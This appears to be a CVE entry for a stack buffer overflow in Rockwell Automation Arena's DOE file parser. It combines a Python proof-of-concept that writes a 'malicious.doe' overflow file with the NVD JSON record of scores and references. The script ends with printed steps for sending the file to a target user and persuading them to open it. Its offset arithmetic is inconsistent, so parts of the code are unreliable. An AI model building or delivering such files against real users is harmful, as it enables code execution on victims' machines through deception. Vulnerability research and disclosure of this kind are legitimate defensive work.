CVE-2025-11918

#!/usr/bin/env python3 # CVE-2025-11918 PoC - Malicious DOE File Generator # Target: Rockwell Automation Arena® DOE File Parser Stack Overflow # Author: Security Research import struct import sys def create_malicious_doe_file(filename, overflow_length=2048): """ Generate a malicious DOE file to trigger stack buffer overflow Parameters: filename: Output DOE file path overflow_length: Length of overflow payload (default: 2048 bytes) """ # DOE file magic header (identify file format) header = b'DOE\x00\x01\x00' # DOE format version version = struct.pack('<H', 0x0100) # Number of variables in experiment num_vars = struct.pack('<I', 10) # Craft overflow payload # Fill buffer with 'A' characters to overflow overflow_payload = b'A' * overflow_length # Overwrite return address with address of our shellcode # In real exploitation, this would be determined via debugging return_address = struct.pack('<Q', 0x4141414141414141) # Placeholder address # Additional padding to reach expected file structure padding = b'\x00' * (overflow_length - len(overflow_payload) - len(return_address)) # Craft variable definitions (normal DOE content) var_section = b'' for i in range(10): var_name = f'VAR_{i}'.encode('ascii').ljust(32, b'\x00') var_type = struct.pack('<I', 1) # Type 1 = numeric var_value = struct.pack('<d', float(i)) var_section += var_name + var_type + var_value # Experiment parameters exp_params = b'REPLICATIONS=100\n' exp_params += b'MAX_RUNS=1000\n' # Combine all sections doe_content = header + version + num_vars + overflow_payload + return_address + padding + var_section + exp_params # Write to file with open(filename, 'wb') as f: f.write(doe_content) print(f'[+] Malicious DOE file created: {filename}') print(f'[+] Overflow payload length: {overflow_length} bytes') print(f'[+] File size: {len(doe_content)} bytes') return doe_content def analyze_overflow_point(payload_length): """ Calculate overflow point based on typical buffer sizes """ typical_stack_buffer = 1024 offset_to_retaddr = 8 overflow_start = typical_stack_buffer - offset_to_retaddr print(f'[*] Analysis:') print(f' - Estimated buffer size: {typical_stack_buffer} bytes') print(f' - Offset to return address: {offset_to_retaddr} bytes') print(f' - Overflow starts at: {overflow_start} bytes') print(f' - Total payload needed: {overflow_start + offset_to_retaddr} bytes') if __name__ == '__main__': print('=' * 60) print('CVE-2025-11918 PoC - Rockwell Arena DOE Stack Overflow') print('=' * 60) # Default overflow length overflow_len = 2048 if len(sys.argv) > 1: overflow_len = int(sys.argv[1]) output_file = 'malicious.doe' analyze_overflow_point(overflow_len) print() create_malicious_doe_file(output_file, overflow_len) print() print('[+] To exploit:') print(f' 1. Send "{output_file}" to target user') print(' 2. Convince user to open file in Arena®') print(' 3. Malicious code will execute with user privileges')

{"cve": {"id": "CVE-2025-11918", "sourceIdentifier": "[email protected]", "published": "2025-11-14T14:15:45.993", "lastModified": "2025-11-17T17:48:50.567", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Rockwell Automation Arena® suffers from a\nstack-based buffer overflow vulnerability. The specific flaw exists within the\nparsing of DOE files. Local attackers are able to exploit this issue to\npotentially execute arbitrary code on affected installations of Arena®. Exploiting\nthe vulnerability requires opening a malicious DOE file."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:H/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.3, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:rockwellautomation:arena:*:*:*:*:*:*:*:*", "versionEndExcluding": "16.20.11", "matchCriteriaId": "F327DD19-3DD7-4E90-8BD2-294B846987DB"}]}]}], "references": [{"url": "https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1763.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}